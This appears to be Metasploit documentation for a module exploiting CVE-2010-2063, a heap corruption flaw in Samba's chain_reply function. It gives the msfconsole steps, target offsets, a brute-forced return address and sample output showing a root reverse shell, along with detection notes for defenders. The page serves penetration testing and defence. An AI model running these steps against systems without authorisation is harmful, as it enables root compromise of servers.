metasploit-gs/documentation/modules/exploit/linux/samba/chain_reply.md

Vulnerable Application

This module exploits a heap-based memory corruption vulnerability in Samba versions prior to 3.3.13. The flaw exists in the SMB1 packet chaining logic, specifically within the chain_reply() function, where attacker-controlled offsets are used without proper bounds checking.

By crafting a malicious chained SMB response packet with an invalid smb_off2 value, an attacker can corrupt heap memory and overwrite sensitive metadata. The exploit leverages this condition to overwrite a talloc chunk destructor function pointer, resulting in arbitrary code execution.

This module targets 32-bit Linux systems without NX memory protection. Due to Samba’s default forking behavior, exploitation attempts can be repeated indefinitely, enabling brute-force techniques to achieve reliable execution.

Vulnerable Software

Samba versions < 3.3.13 (3.1.x through 3.3.12).

• Affected branches: 3.1.x – 3.3.12
• Unaffected: Samba 3.0.x (see explanation below)
• Protocol: SMB1 (NetBIOS)
• Default Port: 139/tcp

Vulnerable versions can be obtained from:

• https://download.samba.org/pub/samba/old/

Key requirements:

• x86 Linux (no NX memory protection)
• NetBIOS over TCP (port 139)
• Exploits talloc chunk destructor overwrite
• Samba forks per session, enabling brute-force reliability

Affected distributions (historical):

• Debian 5 (3.2.5-4lenny6) – tested target
• Ubuntu 6.06 / 8.04 / 9.04 (fixed in later updates)

Verification Steps

1. Start msfconsole
2. use exploit/linux/samba/chain_reply
3. show targets → Select 0 (Linux Debian5) or 1 (Debugging)
4. set RHOSTS <target-ip>
5. set RPORT 139
6. exploit

Scenarios

Debian 5 (Samba 3.2.x) - Default Options

msf6 > use exploit/linux/samba/chain_reply msf6 exploit(chain_reply) > set RHOSTS 192.168.1.100 msf6 exploit(chain_reply) > set RPORT 139 msf6 exploit(chain_reply) > show targets msf6 exploit(chain_reply) > set target 0 msf6 exploit(chain_reply) > exploit

[] Started reverse TCP handler on 192.168.1.10:4444 [] Trying return address 0x081ed5f2... [] Trying return address 0x081ed8f2... [] Trying return address 0x081edbF2... [*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.100:54321)

$ id uid=0(root) gid=0(root) groups=0(root) $ uname -a Linux debian5 2.6.26-2-686 #1 SMP 2009-11-11 21:39:45 +0100 i686 GNU/Linux

Options

Name	Current	Required	Description
RHOSTS	-	yes	Target IP
RPORT	139	yes	NetBIOS port (139), NOT 445
SMBUser	-	no	Username (anonymous by default)

Targets

The module supports two targets:

Id	Name	Offset2	Bruteforce Range
0	Linux (Debian5 3.2.5-4lenny6)	0x1fec	0x081ed5f2 (jmp ecx in smbd)
1	Debugging Target	0x1fec	0xAABBCCDD

Technical Details

Vulnerability Overview

CVE-2010-2063 (OSVDB-65518) is a buffer overflow in SMB1 packet chaining that affects Samba versions prior to 3.3.13.

Root Cause:

• The chain_reply() function fails to properly validate the smb_off2 offset parameter
• When handling chained response packets, this offset is used without bounds checking
• Setting the offset to a value larger than the destination buffer size causes memory corruption
• Setting it smaller than smb_wct (0x24) corrupts the input buffer header

Code Path: SMB packet received → chain_reply() → smb_off2 validated? NO → memory corruption in talloc chunk → destructor overwrite

Exploitation Mechanism

The exploit uses a multi-stage approach to achieve code execution:

1. Talloc Chunk Allocation: Multiple anonymous SMB session setups allocate talloc chunks in predictable memory locations
2. Buffer Overflow: Crafted TRANS packet with smb_off2 = 0x1fec triggers the vulnerability
3. Destructor Overwrite: The overflow overwrites the tc->destructor function pointer in talloc metadata
4. Return Address Brute Force: Since Samba forks for each session, the exploit attempts multiple return addresses
5. Code Execution: When the talloc chunk is freed, the overwritten destructor is called, executing the payload

Why 3.0.x is NOT Exploitable

Samba 3.0.x uses a much larger InputBuffer (approximately 0x20441 bytes). Although corruption is possible, the affected chunk is not reused before process termination, making reliable exploitation infeasible.

Reliability Characteristics

• Stability: CRASH_SERVICE_RESTARTS (Samba forks, automatically restarts)
• Side Effects: IOC_IN_LOGS (SMB logs will show repeated connection attempts)
• Reliability: UNRELIABLE_SESSION (Some attempts may fail, but unlimited retries possible)

Payload Constraints

• Space: 600 bytes maximum for shellcode
• Bad Characters: None
• Target Platform: Linux x86 (32-bit)

Detection Notes

Indicators of exploitation attempts may include:

• Repeated SMB session setup requests
• Abnormal SMB chained response packets
• Frequent smbd child process crashes

References

• CVE-2010-2063 - NVD iDefense Advisory
• Rapid7 Metasploit Module
• Exploit-DB Reference

Notes for Penetration Testers

• Always verify the Samba version before exploitation using SMB enumeration tools
• Port 139 must be accessible (not 445, which uses SMB2+)
• Some modern Samba installations may have mitigations; verify vulnerability presence
• Exploitation is most reliable on older distributions (Debian 5, Ubuntu 8.04/9.04)
• ASLR/DEP/NX must be disabled for successful exploitation
• Monitor system logs for repeated SMB connection attempts that may indicate exploitation